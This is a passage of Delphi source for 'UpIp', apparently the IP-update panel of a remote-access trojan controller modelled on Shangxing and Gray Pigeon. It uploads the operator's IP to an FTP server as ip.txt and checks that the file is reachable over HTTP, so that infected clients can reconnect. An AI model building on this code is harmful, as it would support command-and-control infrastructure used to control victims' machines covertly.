upip.pas

参照上兴、鸽子等源码编写编写出来的。 编译环境：Delphi7+SP+DP+indy9等控件

unit UpIp;

interface

uses
  windows,messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,
  Dialogs,ComCtrls,SkinTabs,DynamicSkinForm,ImgList,StdCtrls,
  SkinBoxCtrls,SkinCtrls,mmsystem,Mask,shellapi,DESCrypt,WinInet,
  IdBaseComponent,IdComponent,IdTCPConnection,IdTCPClient,IdHTTP,
  Psock,NMFtp, IdAntiFreezeBase, IdAntiFreeze, IdFTP,IdFTPCommon,inifiles;

type// 本地代理服务器设置信息。
  TProxyServerInf=record
    httpName:string;
    httpport:integer;
    SocksName:string;
    Socksport:integer;
  end;

type
  TUpIpDate=class(TForm)
    spDynamicSkinForm1:TspDynamicSkinForm;
    PageControl1:TspSkinPageControl;
    TabSheet1:TspSkinTabSheet;
    ImageList1:TImageList;
    Panel1:TspSkinPanel;
    Label2:TspSkinStdLabel;
    Label3:TspSkinStdLabel;
    Label4:TspSkinStdLabel;
    Label5:TspSkinStdLabel;
    Label6:TspSkinStdLabel;
    Panel2:TspSkinPanel;
    Label7:TspSkinStdLabel;
    Label8:TspSkinStdLabel;
    FtpButton1:TspSkinButton;
    Label1:TspSkinLabel;
    IdHTTP1:TIdHTTP;
    TabSheet3:TspSkinTabSheet;
    Label15:TspSkinStdLabel;
    Label17:TspSkinStdLabel;
    Label18:TspSkinStdLabel;
    Label19:TspSkinStdLabel;
    XWButton:TspSkinButton;
    Label9:TspSkinStdLabel;
    IdHTTP2:TIdHTTP;
    IdAntiFreeze1: TIdAntiFreeze;
    XWComboBox: TspSkinComboBox;
    IPAddEdit: TspSkinComboBox;
    spSkinStdLabel1: TspSkinStdLabel;
    outftpip: TEdit;
    spSkinButton1: TspSkinButton;
    spSkinStdLabel2: TspSkinStdLabel;
    outdnsip: TEdit;
    spSkinButton2: TspSkinButton;
    spSkinButton3: TspSkinButton;
    IdFTP1: TIdFTP;
    spSkinLabel1: TspSkinLabel;
    FTPAdder: TEdit;
    FTPPort: TEdit;
    FTPUser: TEdit;
    FTPPass1: TEdit;
    ftppass2: TEdit;
    IpFileEdit: TEdit;
    httpEdit: TEdit;
    XwEdit: TEdit;
    Xwuser: TEdit;
    Xwpass: TEdit;


    procedure AfterGetFile(Sender:TObject);
    procedure FtpButton1Click(Sender:TObject);
      procedure XWButtonClick(Sender:TObject);
 
    procedure spSkinButton1Click(Sender: TObject);
    procedure spSkinButton2Click(Sender: TObject);
    procedure spSkinButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure XwEditChange(Sender: TObject);
    procedure XwuserChange(Sender: TObject);
    procedure XwpassChange(Sender: TObject);
    procedure FTPAdderChange(Sender: TObject);
    procedure FTPPortChange(Sender: TObject);
    procedure FTPUserChange(Sender: TObject);
    procedure FTPPass1Change(Sender: TObject);
    procedure FTPPass2Change(Sender: TObject);


  private
    { Private declarations }
  public
    { Public declarations }
    i:integer;
    procedure idftp;
    procedure Get_UserFile;
    function Update(Body,UpdateS:string):Boolean;
  end;

var
  UpIpDate:TUpIpDate;
     Session:HINTERNET;
   Server :HINTERNET;
   ini1:tinifile;
function CenterStr(Src:string;Before,After:string):string;
procedure iptext(id:integer);forward;
function FtpUp(id:integer):Boolean; forward;
Function FtpConnect(hh,us,pa:pchar) : Boolean; forward;
implementation
uses
  unitMain, UnitOpciones;
{$R *.dfm}
function app_path1:string;
begin
  result:=extractfilepath(application.ExeName);
end;
function CenterStr(Src:string;Before,After:string):string;
{ 这个函数用来分离两个字符串中间的字符串，
  例如 ..('DelphiBox.com','Delphi','.com')=>'Box'。 }
var
  Pos1,Pos2:Word;
  Temp:string;
begin
  Temp:=Src;
  Pos1:=Pos(Before,Temp);
  Delete(Temp,1,Pos1+Length(Before));
  Pos2:=Pos(After,Temp);
  if (Pos1=0)or(Pos2=0) then begin
    result:='';
    Exit;
  end;
  Pos1:=Pos1+Length(Before);
  result:=Copy(Src,Pos1,Pos2);
end;

function GetDefaultProxyServer(var ProxyStr:TProxyServerInf):Boolean;
var
  ProxyInfo:PInternetProxyInfo;
  Buffer:Pointer;
  BUF_SIZE:DWord;
  Temp,Tmpip:string;
  i:integer;
begin
  result:=False;
  try
    BUF_SIZE:=1024;
    GetMem(Buffer,BUF_SIZE);
    ProxyStr.httpName:='';
    ProxyStr.httpport:=0;
    ProxyStr.SocksName:='';
    ProxyStr.Socksport:=0;
    if InternetQueryOption(nil,INTERNET_OPTION_PROXY,Buffer,BUF_SIZE) then begin
      ProxyInfo:=Buffer;
      if ProxyInfo^.lpszProxy<>'' then begin
        Temp:=ProxyInfo^.lpszProxy+' ';
        //HgzFsbSVip.Memo1.Lines.Text:=Temp;

        i:=Pos('http=',Temp);
        if i>0 then begin
          Tmpip:=CenterStr(Temp,'http=',' ');
          i:=Pos(':',Tmpip);
          if i>0 then begin
            ProxyStr.httpName:=Copy(Tmpip,1,i-1);
            ProxyStr.httpport:=StrToInt(Copy(Tmpip,i+1,Length(Tmpip)));
          end;
        end;
        i:=Pos('socks=',Temp);
        if i>0 then begin
          Tmpip:=CenterStr(Temp,'socks=',' ');
          i:=Pos(':',Tmpip);
          if i>0 then begin
            ProxyStr.SocksName:=Copy(Tmpip,1,i-1);
            ProxyStr.Socksport:=StrToInt(Copy(Tmpip,i+1,Length(Tmpip)));
          end;
        end;
        if (ProxyStr.httpName='')and(ProxyStr.SocksName='') then begin
          i:=Pos(':',Temp);
          if i>0 then begin
            Delete(Temp,Length(Temp),1);
            ProxyStr.httpName:=Copy(Temp,1,i-1);
            ProxyStr.httpport:=StrToInt(Copy(Temp,i+1,Length(Temp)));
          end;
        end;
        //HgzFsbSVip.Memo1.Lines.Add('HTTP:'+ProxyStr.httpName);
        //HgzFsbSVip.Memo1.Lines.Add('PORT:'+inttoStr(ProxyStr.httpport));

        result:=True;
      end else begin
        result:=False;
      end;
    end else begin
      result:=False;
    end;
  finally
    FreeMem(Buffer);
  end;
end;
procedure TUpIpDate.idftp;
begin
with IdFtp1 do begin
  if connected then quit;
  iptext(1);
  try
  idftp1.host:=FTPAdder.text; 
  idftp1.username:=FTPUser.text;
  idftp1.Password:=FTPPass1.text;
  idftp1.Port:=strtoint(Ftpport.Text);
  connect;
if IdFTP1.Connected=false then label1.caption:='未连接上FTP服务器';
if IdFTP1.Connected then begin

label1.caption:='连接上FTP';

IdFTP1.TransferType := ftBinary;

  put('ip.txt',pchar(IpFileEdit.text),false); //true表示如果遇到相同文件，则追加数据至原文件尾；false:同名文件，则删除FTP服务器上的此文件

label1.caption:='更新完毕';
end;
except 
showmessage('connect err');  {IdAntiFreeze1 onlywhenidle 改false,加try except处理}
idftp1.disconnect;
exit;
end;
end;
end;
procedure TUpIpDate.Get_UserFile;
var
u,p,k:string;
begin
k:=FTPAdder.Text;
u:=Ftpuser.Text;
p:=Ftppass1.Text;
try
iptext(1);
except
end;
try
if ftpconnect(pchar(k),pchar(u),pchar(p))
then label1.caption:='连接上FTP服务器' else
begin label1.caption:='未连接上FTP服务器';
exit;
end;
except
label1.caption:='未连接上FTP服务器';
end;
try
if ftpup(1) then  label1.caption:='更新IP成功' else label1.caption:='更新IP出错';
except
label1.caption:='更新IP出错';
end;
end;

procedure TUpIpDate.AfterGetFile(Sender:TObject);
var
  Temp:string;
begin
  try
    if HttpEdit.Text<>'' then begin
      Temp:=IdHTTP1.Get(HttpEdit.Text);
      if (Pos(IPAddEdit.Text,Temp)>0) or  (Pos(outftpip.Text,Temp)>0) then begin  //任意一个都可以
        Label1.Caption:='FTP更新IP成功.';

      end else begin
        Label1.Caption:='FTP更新IP完成.但Http访问无效.';
      end;
    end else begin
      Label1.Caption:='FTP更新IP成功.';

    end;
  except
    Label1.Caption:='FTP更新IP完成.但Http访问出错.';
  end;
end;

function Replace(Str:string;Find:string;ToStr:string):string;
var
  Text,A,B:string;
  i,K:integer;
begin
  Text:=Str;
  for K:=1 to Length(Str) do begin
    i:=Pos(Find,Text);
    if i>0 then begin
      Delete(Text,i,Length(Find));
      A:=Copy(Text,1,i-1);
      B:=Copy(Text,i,Length(Text));
      Text:=A+ToStr+B;
    end else Break;
  end;
  result:=Text;
end;
function checkip:boolean;
begin
  result:=true;
  if UpIpDate.FTPAdder.Text='' then begin
    UpIpDate.Label1.Caption:='请输入FTP服务器地址!';
    result:=false;
  end;
  if UpIpDate.Ftpuser.Text='' then begin
    UpIpDate.Label1.Caption:='请输入FTP用户名!';
    result:=false;
  end;
  if UpIpDate.FTPPass1.Text<>UpIpDate.FTPPass2.Text then begin
    UpIpDate.Label1.Caption:='两次密码输入不一样!';
    UpIpDate.FTPPass1.Text:='';
    UpIpDate.FTPPass2.Text:='';
    result:=false;
  end;